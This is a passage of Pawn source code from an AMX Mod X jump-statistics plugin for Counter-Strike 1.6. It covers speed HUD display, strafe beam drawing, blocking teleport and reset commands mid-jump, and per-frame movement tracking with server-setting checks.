		if( alive )
		{
			show_id=taskid;
		}
		else
		{
			show_id=spectatedplayer;
		}
		
		if(jof[show_id]!=0.0)
		{	
			if(jof[show_id]>5.0)
			{
				set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
			}
			else
			{
				set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
			}
			show_hudmessage(taskid,"%L",LANG_SERVER,"UQSTATS_JOF", jof[show_id]);
		}
	}
}


public DoSpeed(taskid)
{
	taskid-=212299;
	
	static alive, spectatedplayer;
	alive = g_alive[taskid];
	spectatedplayer = get_spectated_player(taskid);
	
	if( (alive || spectatedplayer > 0))
	{
		new show_id;
		
		if( alive )
		{
			show_id=taskid;
		}
		else
		{
			show_id=spectatedplayer;
		}
		
		new Float:velocity[3];
		pev(show_id, pev_velocity, velocity);
			
		if( velocity[2] != 0 )
			velocity[2]-=velocity[2];
					
		new Float:speedy = vector_length(velocity);
		
		if(speedtype[taskid])
		{
			set_dhudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.1, 0.0, 0.0);
			show_dhudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));
		}
		else
		{
			set_hudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.2, 0.0, 0.0, h_speed);
			show_hudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));		
		}
	}
}
public wait(id)
{
	id-=3313;
	waits[id]=1;

}

public wait1(id)
{
	id-=3214;
	waits1[id]=1;

}

public client_command(id)
{
	static command[32];
	read_argv( 0, command, 31 );

	static const forbidden[][] = {
		"tele", "tp", "gocheck", "gc", "stuck", "unstuck", "start", "reset", "restart",
		"spawn", "respawn"
	};
	if(uq_info)
	{
		if(record_start[id]==0 && equali( command, "fullupdate" ))
		{
			record_start[id]=1;
		}
		else if(record_start[id]==1 && equali( command, "specmode" ))
		{
			set_hudmessage(255, 255, 255, 0.72, 0.0, 0, 6.0, 1.0);
			show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_INFOSTS",VERSION);
			
			record_start[id]=0;
		}
	}
	
	if( equali( command, "say" ) )
	{
		read_args( command, 31 );
		remove_quotes( command );
	}
	
	if( equali( command, "+hook" ) )
	{
		JumpReset(id,0);
		donehook[id]=true;
		hookcheck[id]=false;
	}
	else if( command[0] == '/' || command[0] == '.' )
	{
		copy( command, 31, command[1] );
		
		for( new i ; i < sizeof( forbidden ) ; i++ )
		{
			if( equali( command, forbidden[i] ) )
			{
				JumpReset(id,1);
				break;
			}
		}
	}
}
public remove_beam_ent(id)
{
	for(new i=0;i<ent_count[id];i++)
	{
		message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
		write_byte(99);
		write_short(beam_entity[id][i]);
		message_end();
		
		remove_entity(beam_entity[id][i]);
	}
	ent_count[id]=0;
}
public epta(id,Float:or[3],direct_strafe,l_lost[NSTRAFES][NVAR],full,ducked,str_num,strafe_frame1[NSTRAFES],strafe_frame2[NSTRAFES],strafe_lost[NSTRAFES])
{	
	new Float:os_start,Float:temp_or[3],direct[2];
	
	switch(direct_strafe)
	{
		case 1:
		{
			temp_or[0]=or[0];
			temp_or[1]=or[1]+48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
		}
		case 2:
		{
			temp_or[0]=or[0];
			temp_or[1]=or[1]-48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[1]=1;
		}
		case 3:
		{
			temp_or[0]=or[1];
			temp_or[1]=or[0]+48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[0]=1;
			direct[1]=1;
		}
		case 4:
		{
			temp_or[0]=or[1];
			temp_or[1]=or[0]-48.0;
			
			if(ducked)
			{
				temp_or[2]=or[2]+16+18;
			}
			else temp_or[2]=or[2]+18;
			
			direct[0]=1;
		}
	}
	
	os_start=temp_or[0]-(full/2);

	if(direct[1])
	{
		new Float:temp_start=os_start+full;
			
		beam_entity[id][ent_count[id]] = create_entity("info_target");
		
		//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
		entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
		
		new Float:ent_or[3];
		if(direct[0])
		{
			ent_or[0]=temp_or[1];
			ent_or[1]=temp_start;
		}
		else 
		{
			ent_or[0]=temp_start;
			ent_or[1]=temp_or[1];
		}
		ent_or[2]=temp_or[2];
		
		entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
		
		message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
		
		write_byte(TE_BEAMENTPOINT);
		write_short(beam_entity[id][ent_count[id]]);
	
///////////////////////////////////////////	
		if(direct[0])
		{
			write_coord(floatround(temp_or[1]));
			write_coord(floatround(temp_start-full));
		}
		else 
		{
			write_coord(floatround(temp_start-full));
			write_coord(floatround(temp_or[1]));
		}
		write_coord(floatround(temp_or[2]));
///////////////////////////////////////////	
		write_short(heystats);
		write_byte(0);
		write_byte(5);
		write_byte(showtime_st_stats[id]);
		write_byte(1);
		write_byte(0);
			
		
		write_byte(0);
		write_byte(0);
		write_byte(255);
	
		write_byte(150);
		write_byte(1);
		message_end();
		
		ent_count[id]++;
		
		for(new i=0;i<2;i++)
		{
			beam_entity[id][ent_count[id]] = create_entity("info_target");
			
			//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
			entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
			
			new Float:ent_org[3];
			if(direct[0])
			{
				ent_org[0]=temp_or[1];
				
				if(i==1)
					ent_org[1]=temp_start-full;
				else
					ent_org[1]=temp_start;
			}
			else 
			{
				if(i==1)
					ent_org[0]=temp_start-full;
				else
					ent_org[0]=temp_start;
					
				ent_org[1]=temp_or[1];
			}
			ent_org[2]=temp_or[2]-10.0;
			
			entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
			
			message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
			
			write_byte(TE_BEAMENTPOINT);
			write_short(beam_entity[id][ent_count[id]]);
			
	///////////////////////////////////////////	
			if(direct[0])
			{
				write_coord(floatround(temp_or[1]));
				
				if(i==1)
					write_coord(floatround(temp_start-full));
				else
					write_coord(floatround(temp_start));
			}
			else 
			{
				if(i==1)
					write_coord(floatround(temp_start-full));
				else
					write_coord(floatround(temp_start));
					
				write_coord(floatround(temp_or[1]));
			}
			write_coord(floatround(temp_or[2]+10.0));
	///////////////////////////////////////////	
			write_short(heystats);
			write_byte(0);
			write_byte(5);
			write_byte(showtime_st_stats[id]);
			write_byte(5);
			write_byte(0);
				
			
			write_byte(0);
			write_byte(0);
			write_byte(255);
		
			write_byte(150);
			write_byte(1);
			message_end();
			
			ent_count[id]++;
		}
		
		for(new i=1;i<=str_num;i++)
		{
			new Float:st_start,Float:st_finish;
			
			st_finish=temp_start-strafe_lost[i]-strafe_frame1[i]-strafe_frame2[i];
			st_start=temp_start-strafe_lost[i];
			
			for(new Float:j=st_start,count_l=0;j>st_finish;j=j-1.0)
			{
				beam_entity[id][ent_count[id]] = create_entity("info_target");
		
				//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
				entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
				
				new Float:ent_org[3];
				if(direct[0])
				{
					ent_org[0]=temp_or[1];
					ent_org[1]=j;
				}
				else 
				{
					ent_org[0]=j;
					ent_org[1]=temp_or[1];
				}
				
				if(i%2!=0)
					ent_org[2]=temp_or[2];
				else 
					ent_org[2]=temp_or[2]-4.0;
				
				entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
				
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				
				write_byte(TE_BEAMENTPOINT);
				write_short(beam_entity[id][ent_count[id]]);
				
		///////////////////////////////////////////	
				if(direct[0])
				{
					write_coord(floatround(temp_or[1]));
					write_coord(floatround(j));
				}
				else 
				{
					write_coord(floatround(j));
					write_coord(floatround(temp_or[1]));
				}
				
				if(i%2!=0)
					write_coord(floatround(temp_or[2]+4.0));
				else 
					write_coord(floatround(temp_or[2]));
		///////////////////////////////////////////	
				write_short(heystats);
				write_byte(0);
				write_byte(5);
				write_byte(showtime_st_stats[id]);
				write_byte(5);
				write_byte(0);
					
				if(l_lost[i][count_l])
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
					line_lost[id][i][count_l]=0;
				}
				else
				{
					write_byte(0);
					write_byte(255);
					write_byte(0);
				}
				
				write_byte(200);
				write_byte(1);
				message_end();
				count_l++;
				ent_count[id]++;
			}
			temp_start=st_finish;
			
		}
	}
	else
	{
		new Float:temp_start=os_start;
		
		beam_entity[id][ent_count[id]] = create_entity("info_target");
		
	//	entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
		entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
		
		new Float:ent_or[3];
		if(direct[0])
		{
			ent_or[0]=temp_or[1];
			ent_or[1]=temp_start;
		}
		else 
		{
			ent_or[0]=temp_start;
			ent_or[1]=temp_or[1];
		}
		ent_or[2]=temp_or[2];
		
		entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
		
		message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
		
		write_byte(TE_BEAMENTPOINT);
		write_short(beam_entity[id][ent_count[id]]);
		
///////////////////////////////////////////	
		if(direct[0])
		{
			write_coord(floatround(temp_or[1]));
			write_coord(floatround(temp_start+full));
		}
		else 
		{
			write_coord(floatround(temp_start+full));
			write_coord(floatround(temp_or[1]));
		}
		write_coord(floatround(temp_or[2]));
///////////////////////////////////////////	
		write_short(heystats);
		write_byte(0);
		write_byte(5);
		write_byte(showtime_st_stats[id]);
		write_byte(1);
		write_byte(0);
			
		
		write_byte(0);
		write_byte(0);
		write_byte(255);
	
		write_byte(150);
		write_byte(1);
		message_end();
		
		ent_count[id]++;
		
		for(new i=0;i<2;i++)
		{
			beam_entity[id][ent_count[id]] = create_entity("info_target");
		
			//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
			entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
			
			new Float:ent_org[3];
			if(direct[0])
			{
				ent_org[0]=temp_or[1];
				
				if(i==1)
					ent_org[1]=temp_start+full;
				else
					ent_org[1]=temp_start;
			}
			else 
			{
				if(i==1)
					ent_org[0]=temp_start+full;
				else
					ent_org[0]=temp_start;
					
				ent_org[1]=temp_or[1];
			}
			ent_org[2]=temp_or[2]-10.0;
			
			entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
			
			message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
			
			write_byte(TE_BEAMENTPOINT);
			write_short(beam_entity[id][ent_count[id]]);
	///////////////////////////////////////////	
			if(direct[0])
			{
				write_coord(floatround(temp_or[1]));
				
				if(i==1)
					write_coord(floatround(temp_start+full));
				else
					write_coord(floatround(temp_start));
			}
			else 
			{
				if(i==1)
					write_coord(floatround(temp_start+full));
				else
					write_coord(floatround(temp_start));
					
				write_coord(floatround(temp_or[1]));
			}
			write_coord(floatround(temp_or[2]+10.0));
	///////////////////////////////////////////	
			write_short(heystats);
			write_byte(0);
			write_byte(5);
			write_byte(showtime_st_stats[id]);
			write_byte(5);
			write_byte(0);
				
			
			write_byte(0);
			write_byte(0);
			write_byte(255);
		
			write_byte(150);
			write_byte(1);
			message_end();
			
			ent_count[id]++;
		}
		
		for(new i=1;i<=str_num;i++)
		{
			new Float:st_start,Float:st_finish;
			
			st_finish=temp_start+strafe_lost[i]+strafe_frame1[i]+strafe_frame2[i];
			st_start=temp_start+strafe_lost[i];
			//ColorChat(id,RED,"start=%f tempstart=%f st_start=%f st_finish=%f",os_start,temp_start, st_start,st_finish);
			
			for(new Float:j=st_start,count_l=0;j<st_finish;j++)
			{
				beam_entity[id][ent_count[id]] = create_entity("info_target");
		
			//	entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
				entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
				
				new Float:ent_org[3];
				if(direct[0])
				{
					ent_org[0]=temp_or[1];
					ent_org[1]=j;
				}
				else 
				{
					ent_org[0]=j;
					ent_org[1]=temp_or[1];
				}
				
				if(i%2!=0)
					ent_org[2]=temp_or[2];
				else 
					ent_org[2]=temp_or[2]-4.0;
				
				entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
				
				message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
				
				write_byte(TE_BEAMENTPOINT);
				write_short(beam_entity[id][ent_count[id]]);

		///////////////////////////////////////////	
				if(direct[0])
				{
					write_coord(floatround(temp_or[1]));
					write_coord(floatround(j));
				}
				else 
				{
					write_coord(floatround(j));
					write_coord(floatround(temp_or[1]));
				}
				
				if(i%2!=0)
					write_coord(floatround(temp_or[2]+4.0));
				else 
					write_coord(floatround(temp_or[2]));
		///////////////////////////////////////////	
				write_short(heystats);
				write_byte(0);
				write_byte(5);
				write_byte(showtime_st_stats[id]);
				write_byte(5);
				write_byte(0);
					
				if(l_lost[i][count_l])
				{
					write_byte(255);
					write_byte(0);
					write_byte(0);
					line_lost[id][i][count_l]=0;
				}
				else
				{
					write_byte(0);
					write_byte(255);
					write_byte(0);
				}
				
				write_byte(200);
				write_byte(1);
				message_end();
				count_l++;
				ent_count[id]++;
			}
			temp_start=st_finish;
		}
	}
}


public fwdPreThink( id )
{
	if(g_userConnected[id]==true && g_pBot[id]==false)
	{	
		if(uq_admins==1 && !player_admin[id])
		{
			return FMRES_IGNORED;
		}
		else
		{
			new tmpTeam[33],dead_flag;	
			get_user_team(id,tmpTeam,32);
			dead_flag=pev(id, pev_deadflag);
			
			if(equali(tmpTeam,"SPECTATOR") && g_alive[id])
			{
				g_alive[id]=false;
				
				if( task_exists(id, 0) )
					remove_task(id, 0);
					
				if( task_exists(id+434490, 0) )
					remove_task(id+434490, 0);
					
				if( task_exists(id, 0) )
					remove_task(id, 0);
				
				if( task_exists(id+89012, 0) )
					remove_task(id+89012, 0);
				
				if( task_exists(id+3313, 0) )
					remove_task(id+3313, 0);
				
				if( task_exists(id+3214, 0) )
					remove_task(id+3214, 0);
					
				if( task_exists(id+15237, 0) )
					remove_task(id+15237, 0);
				
				if( task_exists(id+212398, 0) )
					remove_task(id+212398, 0);
			}
			else if(equali(tmpTeam,"TERRORIST") || equali(tmpTeam,"CT"))
			{
				if(dead_flag==2 && g_alive[id])
				{
					g_alive[id]=false;
					
					if( task_exists(id, 0) )
						remove_task(id, 0);
						
					if( task_exists(id+434490, 0) )
						remove_task(id+434490, 0);
						
					if( task_exists(id, 0) )
						remove_task(id, 0);
					
					if( task_exists(id+89012, 0) )
						remove_task(id+89012, 0);
					
					if( task_exists(id+3313, 0) )
						remove_task(id+3313, 0);
					
					if( task_exists(id+3214, 0) )
						remove_task(id+3214, 0);
						
					if( task_exists(id+15237, 0) )
						remove_task(id+15237, 0);
					
					if( task_exists(id+212398, 0) )
						remove_task(id+212398, 0);
				}
				else if(dead_flag==0 && g_alive[id]==false)
				{
					g_alive[id]=true;
				}
			}
			
			
			
			if(uq_team==0)
			{
				team[id]=0;
			}
			else if(equali(tmpTeam,"TERRORIST"))
			{
				team[id]=1;
			}
			else if(equali(tmpTeam,"CT"))
			{
				team[id]=2;
			}
			else
			{
				team[id]=uq_team;
			}
			
			if( g_alive[id] && team[id]==uq_team)
			{
				static bool:failed_ducking[33];
				static bool:first_frame[33];
				static Float:duckoff_time[33];
				static Float:duckoff_origin[33][3], Float:pre_jumpoff_origin[33][3];
				static Float:jumpoff_foot_height[33];	
				static Float:prest[33],Float:prest1[33],Float:jumpoff_origin[33][3],Float:failed_velocity[33][3],Float:failed_origin[33][3];
				static Float:frame_origin[33][2][3], Float:frame_velocity[33][2][3], Float:jumpoff_time[33], Float:last_land_time[33];
				
				new entlist1[1];
				
				weapSpeedOld[id] = weapSpeed[id];
				
				if( g_reset[id] ==true)
				{
					angles_arry[id]=0;
					dd_sync[id]=0;
					g_reset[id]	= false;
					g_Jumped[id]	= false;
					cjjump[id] =false;
					in_air[id]	= false;
					in_duck[id]	= false;
					in_bhop[id]	= false;
					ducks[id]=0;
					first_duck_z[id]=0.0;
					backwards[id]=false;
					dropaem[id]=false;
					failed_jump[id] = false;
					prest[id]=0.0;
					bug_true[id]=false;
					detecthj[id]=0;
					edgedone[id]=false;
					jumpblock[id]=1000;
					schetchik[id]=0;
					CjafterJump[id]=0;
					upBhop[id]=false;
					old_type_dropbj[id]=Type_Null;
					first_surf[id]=false;
					surf[id]=0.0;
					ddbeforwj[id]=false;
					duckstring[id]=false;
					notjump[id]=false;
					frames_gained_speed[id] = 0;
					frames[id]	= 0;
					strafe_num[id] = 0;
					ladderjump[id]=false;
					started_multicj_pre[id]	= false;
					started_cj_pre[id]		= false;
					jumpoffirst[id]=false;
					jump_type[id]	= Type_None;
					gBeam_count[id] = 0;
					edgedist[id]=0.0;
					oldjump_height[id]=0.0;
					jheight[id]=0.0;
					duckbhop_bug_pre[id]=false;
					FullJumpFrames[id]=0;
					direct_for_strafe[id]=0;
					ddstandcj[id]=false;
					
					for( new i = 0; i < 100; i++ )
					{
						gBeam_points[id][i][0]	= 0.0;
						gBeam_points[id][i][1]	= 0.0;
						gBeam_points[id][i][2]	= 0.0;
						gBeam_duck[id][i]	= false;
						gBeam_button[id][i]=false;
						
					}
					Checkframes[id]=false;
					for(new i=0;i<NSTRAFES;i++)
					{
						type_button_what[id][i]=0;
						if(uq_istrafe)
							lost_frame_count[id][i]=0;						
					}
					
					if(uq_istrafe)
					{
						for(new i=0;i<=line_erase_strnum[id];i++)
						{
							for( new j = 0; j <= line_erase[id][i]; j++ )
							{
								if(i<NSTRAFES && j<NVAR)
									line_lost[id][i][j]=0;
							}
						}
					}
				}
				
				static button, oldbuttons, flags;
				pev(id, pev_maxspeed, weapSpeed[id]);
				pev(id, pev_origin, origin);
				button = pev(id, pev_button );
				flags = pev(id, pev_flags );
				oldbuttons = pev( id, pev_oldbuttons );
				
				static Float:fGravity,Pmaxspeed;
				pev(id, pev_gravity, fGravity);
				Pmaxspeed=pev( id, pev_maxspeed );
				new Float:velocity[3];
				pev(id, pev_velocity, velocity);
				movetype[id] = pev(id, pev_movetype);
				
				if( flags&FL_ONGROUND && flags&FL_INWATER )  
						velocity[2] = 0.0;
				if( velocity[2] != 0 )
					velocity[2]-=velocity[2];
					
				speed[id] = vector_length(velocity);	
				
				new is_spec_user[33];
				for( new i = INFO_ONE; i < max_players; i++ )
				{
					is_spec_user[i]=is_user_spectating_player(i, id);
				}
				if(strafe_num[id]>NSTRAFES1)
				{
					g_reset[id]=true;
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							set_hudmessage( 255, 255, 255, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
							show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_STR1",NSTRAFES1,strafe_num[id]);	
						}
					}
					return FMRES_IGNORED;
				}
				
				
				if((button&IN_RIGHT || button&IN_LEFT) && !(flags&FL_ONGROUND))
				{
					for(new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							client_print(i,print_center,"%L",LANG_SERVER,"UQSTATS_STR2");
							JumpReset(id,28);
							return FMRES_IGNORED;
						}
					}
				}
				new airace,aircj;
				if(uq_airaccel<=10 && uq_airaccel!=1)
				{
					if(uq_airaccel==0)
						airace=10;
					else
						airace=uq_airaccel;
						
					aircj=0;
					formatex(airacel[id],32,"");
				}
				else
				{
					if(uq_airaccel==1)
					{
						airace=100;
						formatex(airacel[id],32,"(100aa)");
					}
					else
					{
						airace=uq_airaccel;
						formatex(airacel[id],32,"(%daa)",uq_airaccel);
					}
					aircj=10;
				}
				
				new spd;
				if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
				{
					spd=1400;
				}
				else spd=450;
				
				if(speed[id]> spd || weapSpeedOld[id] != weapSpeed[id])
				{
					if(weapSpeedOld[id] != weapSpeed[id])
					{
						
						changetime[id]=get_gametime();
					}
					JumpReset(id,29);
					return FMRES_IGNORED;
				}
				
				if(leg_settings==1 && (get_pcvar_num(edgefriction) != 2 || fGravity != 1.0 || get_pcvar_num(mp_footsteps) != 1
					|| get_pcvar_num(sv_cheats) != 0
					|| get_pcvar_num(sv_gravity) != 800
					|| get_pcvar_num(sv_airaccelerate) != airace
					|| get_pcvar_num(sv_maxspeed) != 320
					|| get_pcvar_num(sv_stepsize) != 18
					|| get_pcvar_num(sv_maxvelocity) != 2000
					|| pev(id, pev_waterlevel) >= 2 ))
					{
						JumpReset(id,99);
						return FMRES_IGNORED;
					}
			
				if(!(button&IN_MOVELEFT)
				&& oldbuttons&IN_MOVELEFT)
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
				else if(oldbuttons&IN_MOVERIGHT
				&& !(button&IN_MOVERIGHT))
				{
					button_what[id]=0;
					preessbutton[id]=false;
				}
				else if(oldbuttons&IN_BACK
				&& !(button&IN_BACK))
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
				else if(oldbuttons&IN_FORWARD
				&& !(button&IN_FORWARD))
				{
					preessbutton[id]=false;
					button_what[id]=0;
				}
					
				if( !(flags&FL_ONGROUND) )
				{
					last_land_time[id] = get_gametime();
					jof[id]=0.0;
				}
					
				
				if(bhopaem[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
				{
					bhopaemtime[id]=get_gametime();
				}
				else if(bhopaem[id]==true && flags&FL_ONGROUND && get_gametime()-bhopaemtime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
				{
			
					bhopaem[id]=false;
				}
				
				if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==false)
				{
					first_ground_bhopaem[id]=true;
					ground_bhopaem_time[id]=get_gametime();
				}
				else if(nextbhop[id]==true && !(flags&FL_ONGROUND) && first_ground_bhopaem[id]==true && movetype[id] != MOVETYPE_FLY)
				{
					first_ground_bhopaem[id]=false;
				}
				
				if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==true && (get_gametime()-ground_bhopaem_time[id]>0.1) && movetype[id] != MOVETYPE_FLY)
				{
					first_ground_bhopaem[id]=false;
					bhopaem[id]=false;
					nextbhop[id]=false;
				}
				
				if(nextbhop[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
				{
					nextbhoptime[id]=get_gametime();
				}
				if(nextbhop[id]==true && flags&FL_ONGROUND && get_gametime()-nextbhoptime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
				{
					nextbhop[id]=false;
				}
				if(flags & FL_ONGROUND && h_jumped[id]==false && movetype[id] != MOVETYPE_FLY)
				{
					heightoff_origin[id]=0.0;
				}
				
				if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_BACK && backwards[id]==false)
				{
					backwards[id]=true;
				}
				else if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_FORWARD && backwards[id])
				{
					backwards[id]=false;
				}
				
				if(flags & FL_ONGROUND && button&IN_JUMP && !(oldbuttons&IN_JUMP) && movetype[id] != MOVETYPE_FLY)
				{
					if(is_user_ducking(id))
					{
						heightoff_origin[id]=origin[2]+18;
					}
					else heightoff_origin[id]=origin[2];
					
					h_jumped[id]=true;
				}
				else if(flags & FL_ONGROUND && h_jumped[id] && movetype[id] != MOVETYPE_FLY)
				{
					new Float:heightland_origin;
					if(is_user_ducking(id))
					{
						heightland_origin=origin[2]+18;
					}
					else heightland_origin=origin[2];
					
					
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(height_show[i]==true )
							{
								if(heightland_origin-heightoff_origin[id]==0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
								}
								else if(heightland_origin-heightoff_origin[id]>0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
								}
								else if(heightland_origin-heightoff_origin[id]<0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
								}
							}
						}
					}
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							if(height_show[i]==true )
							{
								if(heightland_origin-heightoff_origin[id]==0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
								}
								else if(heightland_origin-heightoff_origin[id]>0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
								}
								else if(heightland_origin-heightoff_origin[id]<0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
								}
							}
						}
					}
					h_jumped[id]=false;
				}
				
				if((movetype[id] != MOVETYPE_FLY))	
				{
					if(firstfr[id]==false)
					{
						firstfr[id]=true;
						pev(id, pev_velocity, velocity);
						pev(id, pev_origin, origin);
						if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
						{
							firstvel[id]=velocity[2];
						}
						firstorig[id]=origin;
					}
					else if(firstfr[id]==true )
					{
						pev(id, pev_origin, origin);
						pev(id, pev_velocity, velocity);
			
						secorig[id]=origin;
						if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
						{
							secvel[id]=velocity[2];
						}
						firstfr[id]=false;	
					}
					if(!(flags&FL_ONGROUND) && first_air[id]==false)
					{
						framecount[id]++;
						if(framecount[id]==2)
						{
							first_air[id]=true;
						}
						
						SurfFrames[id]=floatabs(firstvel[id]-secvel[id]);
						
						if(floatabs(firstvel[id]-secvel[id])>41)
						{
							SurfFrames[id]=oldSurfFrames[id];
						}
						oldSurfFrames[id]=SurfFrames[id];
					}
					if(flags&FL_ONGROUND && first_air[id]==true)
					{
						first_air[id]=false;
						framecount[id]=0;
					}
					if(!(flags&FL_ONGROUND) && SurfFrames[id]<7.9 && uq_fps==1 && fps_hight[id]==false)
					{
						fps_hight[id]=true;
					}
					if((flags&FL_ONGROUND) && SurfFrames[id]>7.9 && fps_hight[id])
					{
						fps_hight[id]=false;
					}
			
					if(!(flags&FL_ONGROUND) && 1.7*floatabs(firstvel[id]-secvel[id])<SurfFrames[id] && floatabs(firstvel[id]-secvel[id])!=4.0)
					{
						if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
						{
							slide[id]=true;
						}
						else if(!ladderjump[id] && movetype[id] != MOVETYPE_FLY)
						{
							find_sphere_class (id, "func_ladder",200.0, entlist1, 1);
							if(!entlist1[0])
							{
								JumpReset(id,30);
								slide_protec[id]=true;
								return FMRES_IGNORED;
							}
						}
					}
					else 
					{
						if(slide[id]==true && ((oldbuttons&IN_MOVELEFT && button&IN_MOVERIGHT) || (oldbuttons&IN_MOVERIGHT && button&IN_MOVELEFT)))
						{
							if(touch_ent[id])
							{
								JumpReset(id,102);
							}
							
							if(task_exists(id)) remove_task(id);
							
							set_task(1.5,"JumpReset1", id);
							
							pev(id, pev_origin, origin);
							
							slidim[id]=true;
							jump_type[id]=Type_Slide;
							
							g_Jumped[id]	= true;
							prestrafe[id]	= speed[id];
			
							if(showpre[id]==true)
							{
								set_hudmessage(255,255, 255, -1.0, 0.85, 0, 0.0, 0.7, 0.1, 0.1, 2);
								show_hudmessage(id, "Slide pre: %.03f",speed);
							}
							slide[id]=false;
						}
					}
					
					firstorig[id][2]=0.0;
					secorig[id][2]=0.0;
					
					if((slidim[id]==true || slide[id]==true) && get_distance_f(firstorig[id],secorig[id])>20.0)
					{
						groundslide[id]=0.0;
						waits[id]=0;
						slidim[id]=false;
						taskslide[id]=0;
						failslide[id]=false;
						slide[id]=false;
						g_Jumped[id]	= false;
						
						return FMRES_IGNORED;
					}
					
					if((g_Jumped[id]==true || h_jumped[id]) && get_distance_f(firstorig[id],secorig[id])>6.0)
					{
						h_jumped[id]=false;
						JumpReset(id,31);
						return FMRES_IGNORED;
					}
				}
				if(slidim[id]==true)
				{
					
					//if(Pmaxspeed != 250.0)
					//{
					//	client_print(id,print_center,"Slide works only withs weapons 250.0 speed"); 
					//	return FMRES_IGNORED;
					//}
					
					pev(id, pev_origin, origin);
					new Float:start[33][3],Float:end[33][3];
					
				
					start[id][0]=origin[0];
					start[id][1]=origin[1]+16.0;
					start[id][2]=origin[2];
					end[id][0]=origin[0];
					end[id][1]=origin[1]+16.0;
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][0]);
			
					start[id][0]=origin[0];
